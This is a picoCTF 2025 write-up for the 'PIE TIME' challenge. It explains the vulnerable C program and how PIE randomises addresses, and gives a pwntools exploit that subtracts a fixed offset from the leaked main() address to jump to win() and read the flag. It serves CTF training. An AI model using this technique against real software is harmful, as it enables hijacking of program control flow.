PicoCTF 2025 Binary Exploitation—PIE TIME Writeup

Welcome back to another writeup! In today’s post, I’ll be walking you through how I successfully solved the PIE TIME challenge from picoCTF 2025. This challenge tested my skills in [insert relevant topic here, e.g., binary exploitation, reverse engineering, etc.], and I’ll break down each step I took to crack it. Whether you're a fellow CTF player looking for hints or just curious about how these challenges work, I’ve got you covered—let’s dive in!

File Analyzation

In this challenge we are given two files: vuln.c and vuln

Let's analyze the source code (vuln.c)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

This C program demonstrates a basic example of manually triggering a function call via user-provided input. The main function prints its own address and then prompts the user to enter a memory address in hexadecimal format, which is cast into a function pointer and executed. If the user enters the address of the win() function, the program will print "You won!" and attempt to read and display the contents of flag.txt. If an invalid address is entered and causes a segmentation fault, a custom signal handler segfault_handler() is triggered to print an error message and gracefully exit instead of crashing. Additionally, setvbuf() is used to make stdout unbuffered, ensuring immediate output, which is often important in CTF scenarios.

Let's go back at the title it's says "PIE TIME" right? Maybe PIE is enabled in this challenge, let's see

checksec vuln

PIE is enabled

WHAT IS PIE????

PIE, or Position Independent Executable, is a security feature that allows a compiled binary to be loaded at a random memory address each time it runs. This is part of Address Space Layout Randomization (ASLR), which helps defend against memory corruption exploits by making it harder for attackers to predict the location of code in memory. When PIE is enabled, the base address of the binary changes with each execution, but the offsets between functions and data within the binary remain the same. In other words, addresses in PIE are relative—so even though the absolute address of a function like main() or win() will vary every time, the relative distance between them stays constant. In the provided code, the program prints the current address of main() to help the user determine the correct address of win() based on a known offset.

How can we pwn this?

Let's take a look of the address of main and win function

We observe that the win function, which is the target function we want to execute to capture the flag, has an offset address of 0x00005555555552a7, while the main function, whose address is printed during runtime, is located at 0x000055555555533d. Since this binary is compiled with PIE (Position Independent Executable) enabled, the actual memory addresses of functions will change with each execution. However, one crucial detail about PIE is that although the base address of the binary is randomized, the relative distances between functions stay consistent.

This means that even though we cannot predict the absolute address of win, we can still find it using a known reference point—in this case, the address of main. By subtracting the offset of win from the offset of main, we get a fixed difference of 0x000055555555533d - 0x00005555555552a7 = 0x96. This offset is constant, regardless of where the binary is loaded in memory.

Here’s the exploit I created that automates this process for us

from pwn import *

HOST = "rescued-float.picoctf.net"
PORT = 64052

# Connect to remote service
p = remote(HOST, PORT)

# Receive main address from remote
p.recvuntil(b"main: ")
main_address = int(p.recvline().strip(), 16)

# Calculate win function address
offset_to_win = 0x96
win_address = main_address - offset_to_win

# Send the calculated win address
p.sendline(str(hex(win_address)).encode())

# Wait for confirmation and receive flag
p.recvuntil(b"You won!\n")
flag = p.recvline().strip().decode()

# Print the flag
print(flag)

# Close the connection
p.close()

Run and we should get the flag!

FLAG

Last updated